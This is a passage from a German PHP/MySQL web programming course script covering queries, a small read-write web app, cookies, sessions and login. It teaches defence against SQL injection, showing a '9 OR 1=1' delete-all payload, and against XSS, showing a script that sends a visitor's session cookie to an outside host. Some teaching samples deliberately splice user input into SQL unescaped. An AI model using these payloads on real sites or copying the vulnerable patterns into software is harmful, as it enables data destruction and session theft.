mysql> describe person; +------------+--------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +------------+--------------+------+-----+---------+----------------+ | pid | bigint(20) | | PRI | NULL | auto_increment | | uid | varchar(8) | YES | MUL | NULL | | | vorname | varchar(40) | | | | | | nachname | varchar(50) | | | | | | profil | text | | | | | | mail | varchar(40) | YES | MUL | NULL | | | web | varchar(200) | YES | | NULL | | | blog | varchar(200) | YES | | NULL | | | feed | varchar(200) | YES | | NULL | | | title | varchar(10) | YES | | NULL | | | isfemale | tinyint(4) | | | 0 | | | bildpfad | varchar(250) | YES | MUL | NULL | | | ifshow | tinyint(4) | | | 0 | | | facebookid | bigint(20) | YES | | NULL | | +------------+--------------+------+-----+---------+----------------+ 14 rows in set (0.00 sec)

Select und Join funktionieren wie erwartet:
mysql> select pid,vorname from person limit 1,8; +-----+-------------+ | pid | vorname | +-----+-------------+ | 2 | Paul | | 3 | Edvard Paul | | 4 | Sandra | | 5 | Philipp | | 6 | Antal | | 7 | Sebastian | | 8 | Johannes | | 9 | Ivan | +-----+-------------+ 10 rows in set (0.00 sec)

Die Details zu SQL in MySQL (Abweichungen vom Standard, Erweiterungen) kann man der Dokumentation entnehmen die Online unter http://dev.mysql.com/ erreichbar ist.

MMT Webprogrammierung 2

44

Abbildung 18: Dokumentation von MySQL auf http://dev.mysql.com/

Ein häufig verwendetes Tool ist der phpMyAdmin, der ein Interface am Web zur Verfügung stellt. Am gemeinsamen MMA/MMT-Server ist er unter der Adresse https://multimediaart.at/phpmyadmin/ zu finden.

Abbildung 19: phpMyAdmin

Über phpMyAdmin kann man viele SQL-Abfragen durch Point+Klick formulieren. Das lehrreiche daran:
phpMyAdmin zeigt immer das SQL-Statement mit an — auf diese Art kann man einfach SQL lernen.

Besonders praktisch ist das beim Anlegen und Verändern von Tabellen. Erster Schritt: Name der Tabelle:

MMT Webprogrammierung 2

45

Zweiter Schritt: Spalten definieren:

Dritter Schritt: Tabelle wird angelegt und dazugehörendes SQL-Statement angezeigt:

3.2.2

MySQL von PHP aus

Um von PHP auf die Datenbank zuzugreifen gibt es verschiedene Schnittstellen. Hier wird die „MySQL Improved Extension“ (myslqi) vorgestellt. So funktioniert der Verbindung-Aufbau (und -Abbau) zur mysql-Datenbank:
<? $db = mysqli_connect ("localhost", "username", "passwort", "datenbank") or die ("Kein Zugriff auf die Datenbank mit dem Namen mmt"); echo ("Zugriff zur Datenbank OK"); mysqli_close($db); echo ("Verbindung zur Datenbank wieder beendet"); ?>

Es gibt noch keinen tollen Output - wir haben bisher nur eine Verbindung zur Datenbank, aber haben noch keine Daten abgefragt. Eine Abfrage aus der Datenbank liefert eine ganze Tabelle von Daten (mehrere Datensätze). Man braucht also eine Schleife um alle Datensätze abzuarbeiten. Innerhalb der Schleife erhält man den einzelnen Datensatz als Array. Betrachten Sie folgenden Code und finden Sie die Verbindung zur Datenbank: Wo sehen Sie den Namen der Tabelle? Die Namen der Spalten?

MMT Webprogrammierung 2
$ergebnis = mysqli_query ( $db, "SELECT * FROM person WHERE ifshow=1 LIMIT 1,10" ); while($person = mysqli_fetch_array($ergebnis)) { echo($person["vorname"]); echo("<br />"); }

46

Was müssten Sie verändern um den Nachnamen ebenfalls anzuzeigen? Ein ganz wichtiges Grundprinzip beim Programmieren mit Datenbanken: Das Filtern und Berechnen der Daten möglichst in der Datenbank erledigen und möglichst wenige Daten zu PHP übermitteln. Folgender Ansatz wäre also ganz schlecht, besonders wenn viele Daten in der Datenbank sind:
$ergebnis = mysqli_query ( $db, "SELECT * FROM person" ); while($person = mysqli_fetch_array($ergebnis)) { if( $person["ifshow"] == 1 ) { echo($zeile["vorname"]); echo("<br />"); } }

Zu diesem Prinzip gehört auch die konsequente Verwendung der richtigen Datentypen in der Datenbank: zum Speichern eines Datums also DATE verwenden, das ermöglicht das Sortieren nach Datum und Berechnungen wie „falls datum nicht älter als 100 Tage alt ist“
select titel,pub_datum from werk where datediff( curdate( ) , pub_datum ) <= 100;

Zeigt Titel und Publikations-Datum aller Werke die in den letzten 100 Tagen publiziert wurden.

3.3 Eine lesende Web-Applikation
Am Beispiel einer Mini-Applikation lernen Sie nun den typischen Aufbau einer solchen Applikation kennen. Sie brauchen aber auf jeden Fall Webspace und eine eigene Datenbank auf dem MMTServer. Falls Sie das noch nicht haben bestellen Sie bei Yafes Sahin über die Webseite: https://multimediatechnology.at/home/wunschdomain.php

Abbildung 20: Bestellung von Webspace und Datenbank am MMT-Server

MMT Webprogrammierung 2

47

Als Datenbank können Sie für die ersten Schritte die Datenbank des MMA Portfolios verwenden (Datenbankname = mma). Diese Datenbank ist für Sie alle am MMT-Server zugänglich und enthält schon viele Daten. Zugangsdaten siehe Kapitel 3.2.1. Die fertige Applikation soll Werke und Personen anzeigen:

Abbildung 21: Homepage der Mini-Applikation

Die folgende Tabelle zeigt alle (geplanten) Seiten der Applikation im Überblick. Zu Jeder Seite wird der Titel angeführt (wird auf der Seite angezeigt), der Dateiname der Seite (wichtig für die Verlinkung), eventuell notwendige Parameter und eine Beschreibung was die Seite anzeigt. Titel Home Dateiname
index.php

Parameter

Beschreibung Zeigt Gesamtzahl der Personen und Werke an. Zeigt 10 zufällig ausgewählt Personen an, mit Links zu
person.php

Personen personen.php

person.php Details zu einer Person

pid

(Schlüssel der Person)

Zeigt Details zu einer bestimmten Person an: Anzahl der Werke und Username

Werke

werke.php

Zeigt 10 zufällig ausgewählt Werke an, mit Links zu
werk.php

werk.php Details zu einem Werk

wid

(Schlüssel des Werks)

Zeigt Details zu einer bestimmten Werk an: Titel, Datum der Publikation, eventuell eine Liste der Beteiligten Personen und ihrer Rollen

Sie können die Applikation online ausprobieren unter
http://multimediatechnology.at/~bjelline/mini/werke.php

Eine ZIP-Datei mit der (fast) vollständigen Applikation finden Sie unter der Adresse
http://multimediatechnology.at/~bjelline/web-app-mini.zip

MMT Webprogrammierung 2 Jede einzelne Zeite ist – wie in Kapitel 1.2.2 beschrieben – mit Hilfe von includes aufgebaut. Dabei werden immer die Dateien functions.php (mit der Datenbank-Verbindung) header.php und footer.php inkluidert. <?php $pagetitle = "Titel der Seite"; include "functions.php"; include "header.php"; // hier passiert die eigentliche Arbeit include "footer.php"; ?>

48

3.3.1

Viele Datensätze aus der Datenbank lesen

In der Datei werke.php finden Sie ein Beispiel für die Auflistung von mehreren Datensätzen:
echo "<p>10 zuf&auml;llige Werke:</p> <ul>"; $ergebnis = mysqli_query ( $db, "SELECT * FROM werk ORDER BY RAND() LIMIT 1,10" ); while($werk = mysqli_fetch_array($ergebnis)) { echo("<li>$werk[titel] $werk[pub_date]</li>"); } echo("</ul>");

3.3.2

Einzelne Daten aus der Datenbank lesen

In der Datei home.php finden Sie zwei Beispiele für das Lesen einzelner Daten. Mit der SQL-Funktion COUNT() wir die Anzahl der Werke in der Datenbank bestimmt.
$ergebnis = mysqli_query ( $db, "SELECT COUNT(*) AS anzahl FROM werk" ); $datensatz = mysqli_fetch_array($ergebnis); $anz_werke = $datensatz['anzahl']; echo("<p>Es befinden sich $anz_werke Werke in der Datenbank</p>");

3.3.3

Einen bestimmten Datensatz lesen

Wenn Sie die Datei person.php mit einem Parameter aufrufen person.php?pid=586 soll eine bestimmte Person aus der Datenbank angezeigt werden. Dafür wird der Parameter aus dem $_GET – Array ausgelesen und sicher gestellt, dass es sich wirklich um eine Zahl handelt. In der Datenbank sind Personen, deren Profil nicht angezeigt werden soll, mit ifshow=0 gekennzeichnet. Im SQL-Statement wird sicher gestellt, dass nur sichtbare Personen angezeigt werden. Das Ergebnis der Abfrage kann also sein, dass keine Person gefunden wurde – entweder weil unter diesem Schlüssel gar keine gespeichert ist, oder weil ifshow=0 ist. In diesem Fall gibt mysqli_fetch_array kein Array sondern der Wert FALSE zurück.

MMT Webprogrammierung 2
$pid = $_GET['pid']; if( (int) $anzahl != $anzahl ) { echo("Error !"); } else { $ergebnis = mysqli_query ( $db, "SELECT * FROM person WHERE ifshow=1 AND pid=$pid" ); $person = mysqli_fetch_array($ergebnis); if( $person == FALSE ) { echo "<p>Konnte keine passenden Daten aus der Datenbank lesen.</p>"; } else { // Darstellung der Person } }

49

Die Darstellung der einzelnen Person ist noch nicht fertig programmiert: der Username wird zwar angezeigt, aber nicht die Anzahl der Werke der Person. Das müssen Sie selbst ausprogrammieren. Für die Ausgabe des HTML-Codes wird die Heredoc-Schreibweise6 verwendet um die Ausgabe von Variablen und die Verwendung von Anführungszeichen kombinieren zu können.
if( $person['isfemale'] ) { $anrede = "Frau"; $ersie = "Sie"; } else { $anrede = "Herr"; $ersie = "Er"; } echo <<<EOM <p><img src="http://multimediaart.at/media/profil/$person[bildpfad]" /> $anrede $person[vorname] $person[nachname] hat insgesamt x Werke in dieser Datenbank. $ersie hat den Usernamen $person[uid].</p> EOM;

In der Datei personen.php wird zu jeder Person ein passender Link zu person.php angezeigt:
echo <<<EOM <li> <b>$person[vorname] $person[nachname]</b> <a href="person.php?pid=$person[pid]">mehr</a> </li> EOM;

Achtung: diese Verlinkung schützt nicht davor, dass böse User einfach eine URL mit ganz andere pid „von Hand“ eingeben!
http://multimediatechnology.at/~bjelline/mini/person.php?pid=666

In der Datei werke.php fehlt eine entsprechende Verlinkung zu werk.php. Diese Verlinkung und die Implementierung von werk.php müssen Sie selbst noch ergänzen.

6

http://at.php.net/manual/de/language.types.string.php#language.types.string.syntax.heredoc

MMT Webprogrammierung 2

50

3.3.4

Datensätze suchen

In der Datei psuche.php wird ein Formular zur Suche nach Vornamen angezeigt:
<form action="suche.php" method="get"> Suche nach einer Person mit dem Vornamen <input name="suchwort" /> <input type="submit" /> </form>

Die eigentliche Suche geschieht über das WHERE-Statement in SQL:
... WHERE vorname LIKE '$suchwort'

Wir werden uns später noch genauer mit der Sicherheitsproblematik von SQL-Statements befassen, die teilweise aus User-Input entstehen. Noch ignorieren wir die Problematik und schreiben einfach:
echo("<p>Suche nach '$suchwort'</p><ol>"); $ergebnis = mysqli_query ( $db, "SELECT * FROM person WHERE ifshow=1 AND vorname LIKE '$suchwort' " ); $found = 0; while($person = mysqli_fetch_array($ergebnis)) { $found++; // echo ... } echo("</ol>"); echo("<p>$found Personen gefunden</p>");

Eine entsprechende Suche nach Werken unter dem Titel wsuche.php müssen Sie erst selbst implementieren.

3.3.5

Bilanz

Sie können nun eine Web-Applikation erstellen, die Daten aus der Datenbank liest. Der nächste logische Schritt ist das Schreiben in die Datenbank mit INSERT-Statements. Damit werden wir uns im nächsten Kapitel befassen.

MMT Webprogrammierung 2

51

4.

Login, Sessions und Datenbank verändern

Mit Sessions wird ein Login ermöglicht. Der Zugriff von PHP auf die Datenbank MySQL wird erweitert: Löschen von Daten, Einfügen von Daten, Bearbeiten von Daten.

4.1 Ziele
Was Sie alle wissen sollten
• • • Das HTTP ohne Cookies stateless ist. Wie Cookies funktionieren. Wie Login / Logout mit Hilfe der Session realisiert werden kann Welche Sicherheitsprobleme bei der Verwendung von User-Input in einem SQL-Statement auftreten. • • Wie Daten vom Web für SQL escaped werden müssen. Wie Daten aus der Datenbank für HTML escaped werden müssen.

Was Sie können sollten
• Mit Prepared Statements (mysqli_prepare, mysqli_bind_param und mysqli_stmt_execute) arbeiten

MMT Webprogrammierung 2

52

4.2 Session und Login
Bis jetzt war jeder Zugriff auf die Webapplikation unabhängig von jedem anderen Zugriff: die PHPApplikation weiß nicht, ob 10 verschiedene Leute die Homepage abrufen oder ob eine Person die Seite 10mal lädt. Das ist eine Grundeigenschaft von HTTP: es ist „stateless“ (im Gegensatz zu „statefull“). Also kann man mit HTTP alleine – wie wir es bisher kennen – kein „Login“ schaffen. Um zu wissen, dass ein User eingeloggt ist müsste er ja „wiedererkannt“ werden. Genau das macht den „state“ aus.

4.2.1

Cookies

Um das zu ermöglichen wurde das HTTP-Protokoll um die sogenannten „Cookies“ erweitert: Ein Cookie besteht aus bis zu 4096 Bytes Daten, die der Webbrowser lokal speichert, und bei jedem Zugriff auf den Webserver wieder mitsendet. Der Browser sendet nie ein Cookie an einen anderen Webserver als den von dem er es erhalten hat. Er kann aber viele verschiedene Cookies von verschiedenen Servern speichern (In einem Cookie-Jar).

Abbildung 22: Cookie wird gesetzt und bei jedem weiteren Request gesendet

An Hand dieses Cookies kann eine Webapplikation einen bestimmten User wiedererkennen. Cookies können vom Server gesetzt werden, mit dem HTTP-Header Set-Cookie. Dabei wird der Name des Cookies angegeben, der Wert der gespeichert werden soll, und der Gültigkeitsbereich und Zeitraum:

MMT Webprogrammierung 2
Set-Cookie: style=gelb Set-Cookie: style=gelb; path=/admin/ Set-Cookie: style=gelb; expires=Tue, 29-Mar-2015 19:30:42 GMT; path=/admin/

53

Die einzige Art ein Cookie zu löschen ist ein Cookie mit gleichem Namen und Ablaufdatum in der Vergangenheit zu setzen:
Set-Cookie: style=wurscht; expires=Tue, 29-Mar-2005 19:30:42 GMT; path=/admin/

Cookies in PHP
In PHP finden Sie die bereits gesetzten Cookies, die vom Browser zurückgesendet wurden, im Array
$_COOKIES (und — zusammen mit GET und POST-Parametern — in $_REQUEST). Neue Cookies kön-

nen Sie mit setcookie() setzen.

Cookies in Javascript
Im Client können Cookies mit Javascript gelesen und geschrieben werden: über die Eigenschaft document.cookie des Dokument-Objekts.

Achtung: beim lesenden Zugriff auf diese Eigenschaft enthält man einen String mit allen Cookies, die gerade gültig sind. Zum Setzen von neuen Cookies wird auf die Eigenschaft zugewiesen. Zum Setzen mehrere Cookies wird wiederholt zugewiesen — das hat aber (noch) keinen Einfluß auf den Wert den man aus document.cookie auslesen kann:
alert(document.cookie); // Zeigt die gültigen Cookies document.cookie = "farbe:grün"; document.cookie = "anzahl: 3"; document.cookie = "passwort: total super geheimes aber recht langes passwort"; alert(document.cookie); // Zeigt immer noch die ALTEN Cookies !!!

Erst wenn ein neuer Request an den Server erfolgt, werden die neu gesetzten Cookies mit gesendet: erst wenn die Antwort wieder dargestellt wird, sind die neuen Cookies in Javascript über document.cookie lesbar!

4.2.2

Session

PHP kann das Setzen des Cookies automatisch erledigen, und geht sogar noch einen Schritt weiter: Mit dem Befehle session_start() wird o …beim ersten Aufruf automatisch ein Cookie gesetzt. Wenn danach Daten im Array
$_SESSION Daten gespeichert werden, dann sorgt PHP dafür dass die Daten am Server per-

manent gespeichert werden, also beim nächsten Programmaufruf wieder zur Verfügung stehen. o …bei jedem weiteren Aufruf die Session an Hand des Cookies wieder identifiziert, und die Daten wieder ins $_SESSION-Array geladen.

MMT Webprogrammierung 2

54

Für unsere Applikation werden wir das verwenden, um den Usernamen des angemeldeten Users zu speichern. session_start() wird in functions.php ausgeführt, also bei jedem Aufruf einer der Seiten der Applikation. Die Applikation zeigt direkt in der Navigationsleiste die Login/Logout-Möglichkeit und den Namen des eingeloggten Users an:

Abbildung 23: Anzeige des Usernamens und Login/Logout-Möglichkeit

Das Login-Formular sieht ganz einfach aus und sendet die Daten mit POST:

Abbildung 24: Login-Formular der Applikation

Username und Passwort werden überprüft, falls Sie passen wird der Username in der Session gespeichert:
if ( strlen($username) > 0 and check_login( $username, $passwort ) ) { $_SESSION['USER'] = $username; header("Location: index.php"); exit; }

Nach dem gelungen Login kann man jede beliebige Seite der Applikation aufrufen, immer wird im Array $_SESSION der Username gespeichert sein. So kann er z.B. in der Navigation angezeigt werden wie in Abbildung 23 gezeigt. Das Logout erfolgt ebenfalls mit der Methode POST:
<form action="logout.php" method="post"> <input type="submit" value="Logout" /> </form>

Das Logout ist etwas umständlich zu Programmieren: das Cookie, das von PHP gesetzt wurde, muss man nun selbst löschen. Dazu wird das „Ablaufdatum“ des Cookies auf ein Datum in der Vergangenheit gesetzt, dann wird der Browser es löschen.

MMT Webprogrammierung 2
// Löschen aller Session-Variablen. $_SESSION = array();

55

// Löscht das Session-Cookie. if (isset($_COOKIE[session_name()])) { setcookie( session_name(), // Cookie-Name war gleich Name der Session '', // Cookie-Daten. Achtung! Leerer String hier hilft nicht! time()-42000, // Ablaufdatum in der Vergangenheit. Erst das führt zur Löschung! '/' // Wirkungsbereich des Cookies: der ganze Server ); } session_destroy(); header("Location: index.php")

Achtung: das Setzen und Löschen der Session-Cookies dauert immer einen Request länger als gedacht! Deswegen ist eine Weiterleitung wie hier mit Location: sinnvoll. Achtung: die Weiterleitung funktioniert nur, wenn noch keine Ausgabe erfolgt ist, also vor dem Laden der header-include-Datei. Hier am Beispiel von login:
<?php $pagetitle = "Login"; include "functions.php"; $username = $_POST['username']; $passwort = $_POST['passwort']; if ( strlen($username) > 0 and check_login( $username, $passwort ) ) { $_SESSION['USER'] = $username; header("Location: index.php"); exit; } include "header.php";

Eine Weiterleitung nach der Behandlung eines POST-Requests ist allgemein sinnvoll.

MMT Webprogrammierung 2

56

Abbildung 25: Login mit einer Weiterleitung

4.3 Web-Applikation mit Schreibrecht
Um eine Web-Applikation auszuprobieren, die nicht nur Daten lesen, sondern auch Daten löschen und in die Datenbank schreiben kann, brauchen Sie nun die eigene Datenbank – die Datenbank mma reicht nicht mehr aus, dort haben Sie keine Schreibrechte. Um Daten in die eigene Datenbank zu laden finden Sie die Datei mma-portfolio-simple.sql in der ZIP-Datei. Über die Kommandozeile können Sie diese Daten in Ihre private Datenbank laden:
> mysql –u username –p nameihrerdatenbank < mmy-portfolio-simple.sql

Danach können Sie die vorhandene Mini-Applikation so verändern, dass Sie auf Ihre eigene Datenbank zugreift. (Tipp: nur eine Zeile in einer Datei muss verändert werden!) Titel Dateiname Request/ Parameter GET POST username, passwort
POST

Beschreibung

Login Login

login.php

Zeigt Login-Formular Prüft Login + setzt Session. an index.php Leitet weiter

Login.php

Logout

logout.php

Löscht die Session. Leitet weiter an index.php

MMT Webprogrammierung 2

57

Person löschen Person einfügen Person einfügen

delete.php

POST pid

Löscht die Person mit der angegeben pid.

person_new.php

GET

Zeigt Eingabeformular für eine neue Person Legt eine neue Person an.

person_new.php

POST uid,vorname,nachname, profil,mail,web, blog,feed,title, isfemale,ifshow

person_edit.php GET pid Person bearbeiten

Zeigt Bearbeitungs-Formuar an

person_edit.php POST pid, vorname, Person nachname, profil, bearbeiten

Speichert neue Daten zur Person pid

4.3.1

Daten löschen

Das Löschen könnte so einfach sein: Ein Programm mit namen delete.php, das als Parameter die id der Person erhält, die gelöscht werden soll:
$pid = $_POST['pid']; mysqli_query($db, "DELETE FROM person WHERE pid=$pid" );

Dieses Programm ist anfällig für folgende Attacke: Ein Aufruf mit einem selbst gebastelten Formular setzt den Parameter pid auf Wert „9 OR 1=1“
<form method="post" action="delete.php" > <input type="hidden" value="9 OR 1=1" name="pid"/> <input type="submit" value="del all"/> </form>

Das führt dazu, dass folgendes SQL-Statement ausgeführt wird:
DELETE FROM person WHERE pid=9 OR 1=1

Und dieses Statement löscht nicht einen Datensatz sondern alle Datensätze. Diese Art von Attacke auf eine Web-Applikation nennt man „SQL Injection“.

SQL Injection verhindern
Dieses Problem kann vermeiden indem man die Eingabe genau überprüft. In diesem Beispiel also: nur wenn es sich bei pid um eine ganze Zahl handelt, darf sie verwendet werde. Das wird hier mit einer Regular Expression (die Sie noch nicht verstehen müssen) überprüft:

MMT Webprogrammierung 2
if( ! preg_match( '/^\d+$/', $pid ) ) { error_log("hack: $pid statt id in delete.php."); echo("Hack detected. Please stay at you computer until the police arrive."); exit; }

58

Der zweite Ansatz ist die Verwendung von „Prepared Statements“ in der Datenbank. Dabei wird der SQL-Interpreter der Datenbank gänzlich umgangen. Als erster Schritt wird mit prepare ein SQL-Statement mit Fragenzeichen als Platzhalter vorbereitet. (Dieses SQL-Statement wird am Server schon mal geparsed und compiliert.) In einem zweiten Schritt werden Daten an das Statement gebunden (bind), dabei muss man angeben ob es sich um einen Integer-Wert (i), einen double-Wert (d) einen string(s) oder einen blob (b) handelt. Mit execute wird dann das Statement ausgeführt.
$stmt = mysqli_prepare($db, "DELETE FROM person WHERE pid=?"); $ok = mysqli_bind_param($stmt, 'i', $pid); mysqli_stmt_execute($stmt);

Die Schritte 2 und 3 können auch mehrfach ausgeführt werden, das ist effektiver als ein normales
mysqli_query zu wiederholen.

4.3.2

Daten einfügen

Hier das einfachste Programm, das ein neues Werk speichert:
mysqli_query( $db, "INSERT INTO werk (titel) VALUES ('$_POST[titel]')" );

Das funktioniert für viele Eingabe, aber was passiert wenn ein Werk den Titel „That’s it“ haben soll? Dann wird folgendes SQL-Statement ausgeführt:
INSERT INTO werk (titel) VALUES ('That's it')

Das kann nicht funktionieren. Für dieses Problem gibt es in PHP eine einfache und falsche Lösung: Normalerweise verändert PHP automatisch alle Daten die über GET, POST und Cookies hereinkommen: vor alle Anführungszeichen wird ein Backslash eingefügt. Aus „That's it“ wird also automatisch „That\'s it“ , das SQL-Statement funktioniert wieder:
INSERT INTO werk (titel) VALUES ('That\'s it')

Diese Automatik ist unter dem Namen „magic_quotes“ bekannt und kann in der Apache- oder PHPKonfiguration abgeschalten7 werden. Auf dem MMT-Server ist sie generell ausgeschalten. Sie sollten das auf Ihrem lokalen Apache-Server auch tun:

7

http://at.php.net/manual/de/security.magicquotes.disabling.php

MMT Webprogrammierung 2
php_flag magic_quotes_gpc off

59

Mit folgendem Programm können Sie testen ob auf dem Server magic quotes ein- oder ausgeschalten sind:
echo( (get_magic_quotes_gpc() ? "mit magic quotes" : "ohne magic quotes") ); echo("<pre>"); print_r($_POST); echo("</pre>");

(In Wirklichkeit kann man Sie nicht ganz abschlalten8, aber das ignorieren wir besser. Das Problem betrifft nur Array-Parameter .) Wenn die magic quotes abgeschalten sind kann man das SQL-Problem besser lösen: mit prepared Statements. Hier am Beispiel eines neuen Werkes:
$stmt = mysqli_prepare($db, "INSERT INTO person (uid, vorname, nachname, profil, mail, web, blog, feed, title, isfemale, ifshow) VALUES (?,?,?,?,?,?,?,?,?,?,?)"); mysqli_bind_param($stmt, 'sssssssssii', $_POST['uid'], $_POST['vorname'], $_POST['nachname'], $_POST['profil'], $_POST['mail'], $_POST['web'], $_POST['blog'], $_POST['feed'], $_POST['title'], $_POST['isfemale'], $_POST['ifshow'] ); mysqli_stmt_execute($stmt); // noch ohne Fehlerbehandlung

Der letzte Befehl mysqli_stmt_execute($stmt) liefert einen Boolschen Wert zurück um den Erfolg oder Misserfolg der gesamten SQL-Anfrage anzuzeigen. Falls ein Fehler auftritt kann man mit mysqli_error($db) die Fehlermeldung der Datenbank auslesen. if ( ! mysqli_stmt_execute($stmt) ) { echo("Fehler beim Speichern in der Datenbank: "); echo(mysqli_error($db)); echo(" Bitte gehen Sie zurück zum Formular!"); exit; }

Aber so weit sollten Sie es nicht kommen lasse: Sie sollten die Eingaben aus dem Webformular schon vor dem INSERT prüfen und dann ausführliche, vollständige, deutsche Fehlermeldungen ausgeben.

8

http://at2.php.net/get_magic_quotes_gpc#49612

MMT Webprogrammierung 2

60

Abbildung 26: Fehlermeldung der Datenbank vs. selbst gestaltete Fehlermeldung

Falls das Einfügen der Daten funktioniert hat und in der Tabelle ein autoincrement-Feld als Primärschlüssel vorhanden ist, kann man den Wert des Schlüssels im neuen Datensatz auslesen und weiter verwenden:
$pid = mysqli_insert_id($db); header("Location: person.php?pid=$pid");

Auch hier ist eine Weiterleitung direkt nach dem POST-Request sinnvoll: nach dem Einfügen des Datensatzes wird direct auf die Anzeige des neuen Datensatzes weitergeleitet. Falls man danach auf „Reload“ drückt wird der Datensatz neu angezeigt, aber keinesfalls ein zweites Mal eingefügt.

4.3.3

Einen Datensatz bearbeiten

Wir wollen einen Datensatz aus der Datenbank laden, in einem Formular zur Bearbeitung anbieten, und dann wieder in der Datenbank speichern.

Abbildung 27: Formular zum Bearbeiten einer Person

Das Lesen des Datensatzes aus der Datenbank erfolgt nun auch mit einem prepared Statement:
$stmt = mysqli_prepare($db, "SELECT pid,vorname,nachname,profil FROM person WHERE pid=?"); mysqli_bind_param($stmt, 'i', $_GET['pid']); mysqli_stmt_execute($stmt); mysqli_bind_result($stmt, $pid,$vorname,$nachname,$profil); mysqli_stmt_fetch($stmt) or die("konnte den datensatz nicht laden");

Bei der Darstellung des Bearbeitungs-Formulars werden die Daten nun als Standardwerte dargestellt. Das passiert bei Textfeldern mit dem Value-Attribute und bei Textareas als Inhalt des Tags:

MMT Webprogrammierung 2
<input name="vorname" value="Tobias" /> <textarea name="profil" rows="7">Webdesigner und Programmierer.</textarea>

61

Achtung: Falls in den Daten Anführungszeichen, kaufmännische Unds oder Kleiner-Zeichen vorkommen müssen diese für HTML escaped werden. Hier ein Beispiel in MySQL:
mysql> select vorname,profil from person where pid=538; +---------------------+-----------------------------+ | vorname | profil | +---------------------+-----------------------------+ | Tobias "the coder" | Mein Lieblings-Tag: <style> | +---------------------+-----------------------------+ 1 row in set (0.00 sec)

So würde die Darstellung der Eingabefelder nicht funktionieren:
<input name="vorname" value="Tobias "the coder" " /> <textarea name="profil" rows="7">Mein Lieblings-Tag: <style></textarea>

Richtig ist die Darstellung gewisser Zeichen als HTML entities:
<input name="vorname" value="Tobias &quot;the coder&quot; " /> <textarea name="profil" rows="7">Mein Lieblings-Tag: &lt;style&gt;</textarea>

Diese Ersetzung wird mit der Funktion htmlspecialchars vorgenommen:
$vorname = htmlspecialchars( $vorname );

Zusammenfassend sieht die Darstellung des Eingabeformulars so aus:
// $pid muss man nicht escapen, das ist blos ein integer $vorname = htmlspecialchars( $vorname ); $nachname = htmlspecialchars( $nachname ); $profil = htmlspecialchars( $profil );

echo <<<EOM <form action="person_edit.php" method="post"> <input type="hidden" name="pid" value="$pid" /> <p><label for="vorname">Vorname</label> <input name="vorname" value="$vorname" /></p> <p><label for="nachname">Nachname</label> <input name="nachname" value="$nachname" /></p> <p><label for="profil">Profil</label> <textarea name="profil" rows="7" cols="40" >$profil</textarea></p> <p><span class="leftcol"></span><input type="submit" value="speichern" /></p> </form> EOM;

Die veränderten Daten werden mit POST an person_edit.php geschickt. Aus den Daten wird ein UPDATE-Statement erstellt:

MMT Webprogrammierung 2
if( $_POST['pid'] ) { $stmt = mysqli_prepare($db, "UPDATE person SET vorname = ?, nachname = ?, profil = ? WHERE pid=?"); mysqli_bind_param($stmt, 'sssi', $_POST['vorname'], $_POST['nachname'], $_POST['profil'], $_POST['pid'] ); if( ! mysqli_stmt_execute($stmt) ) { echo("Fehler beim Speichern in der Datenbank: "); echo(mysqli_error($db)); exit; } header("Location: person.php?pid=$_POST[pid]"); }

62

4.3.4

Escapen von HTML

Das Escapen der Daten für HTML hätten wir von Anfang an bei jeder Ausgabe von Daten aus der Datenbank zu müssen. Also auch schon in Kapitel 3.3 beim Anzeigen der Daten. Damals haben wir einfach die Daten direkt mit echo ausgegeben:
echo <<<EOM $anrede $person[vorname] $person[nachname] hat insgesamt x Werke in dieser Datenbank. $ersie hat den Usernamen $person[uid]. $person[profil] EOM

Wenn hier im Profil wieder „Mein Lieblings-Tag ist <style>“ steht, und dieser Text einfach ausgegeben wird, dann „verschwindet“ der Rest der Webseite, weil er sich nun innerhalb eines Style-Tags befindet.
$bildpfad $uid $vorname $nachname $profil = = = = = htmlspecialchars( htmlspecialchars( htmlspecialchars( htmlspecialchars( htmlspecialchars( $person['bildpfad'] $person['uid' ] $person['vorname' ] $person['nachname'] $person['profil' ] ); ); ); ); );

echo <<<EOM <p><img src="http://multimediaart.at/media/profil/$bildpfad" style="float:right" /> $anrede $vorname $nachname hat insgesamt x Werke in dieser Datenbank. $ersie hat den Usernamen $uid.</p> <div>$profil</div> EOM;

Damit funktioniert nun die Darstellung des Datensatzes richtig:

MMT Webprogrammierung 2

63

Abbildung 28: Korrekte Darstellung eines Datensatzes mit kleiner-Zeichen

4.3.5

Darstellen von HTML

Im letzten Beispielen wurde der eingegebene HTML-Tag sichtbar auf der Webseite angezeigt. Wie kann man HTML-Tags eingeben, abspeichern, und als HTML-Tags wieder anzeigen?

Gefahren
Zuerst eine Warnung: Die Anzeige von HTML das von Fremden eingegeben wurde ist gefährlich! Dazu zwei Beispiele: Sie bauen ein Gästebuch in dem BesucherInnen beliebiges HTML abspeichern können. Herr Lauscher trägt dort ein Bild ein:
<img src="http://laucher.net/bild.php?woher=gästebuch_mmt" alt="harmloses bild" />

Das Bild wird also nicht von Ihrem Webserver geladen, sondern vom Webserver von Herrn Lauscher. Und dort wird gleich ein php-Programm zum Erzeugen des Bildes aufgerufen. D.h. Herr Lauscher kann sehr bequem mit-loggen wie viele Zugriffe auf das Gästebuch erfolgen. Falls Herr Lauscher die Gästebuch-Besucher schon kennt (schon ein Cookie in Ihrem Browser gesetzt hat) kann er sie auch identifizieren. Sie haben Herrn Hacker also die Möglichkeit gegeben sehr viel über Ihre BesucherInne zu erfahren. So etwas ähnliches passiert z.B. wenn Sie Google Analytics in Ihre Webseite einbinden um ZugriffsStatistiken zu erstellen: Google erfährt von jedem Zugriff auf Ihre Seite, Google kennt viele BesucherInnen schon (weil Sie bei gmail.com eingeloggt sind oder von einer Vorherigen Suche noch ein Cookie haben.) Im zweiten Beispiel gibt Frau Hacker neben einem Bild noch etwas Javascript ein:
Hallo Welt <img src="http://users.local/bild.php" alt="harmloses bild" id="hack_tool" /> <script> document.getElementById("hack_tool").src += "?keks=" + document.cookie; </script>

Mit der einen Zeile Javascript wir das Cookie an die URL des Bildes angefügt, das Ergebnis ist z.B:
<img id="hack_tool" alt="harmloses bild" src="http://users.local/bild.php?keks=PHPSESSID=6b454e966f9fc9b9a9d5126ffb076115"/>

So kann Frau Hacker das Cookie einer BesucherIn Ihres Gästebuchs entwenden. Sie kann nun das Cookie verwenden um als eingeloggter User Ihre Seite zu benützen! Lassen Sie niemals, niemals, niemals zu, dass Fremde Javascript in Ihre Site einspeisen können!

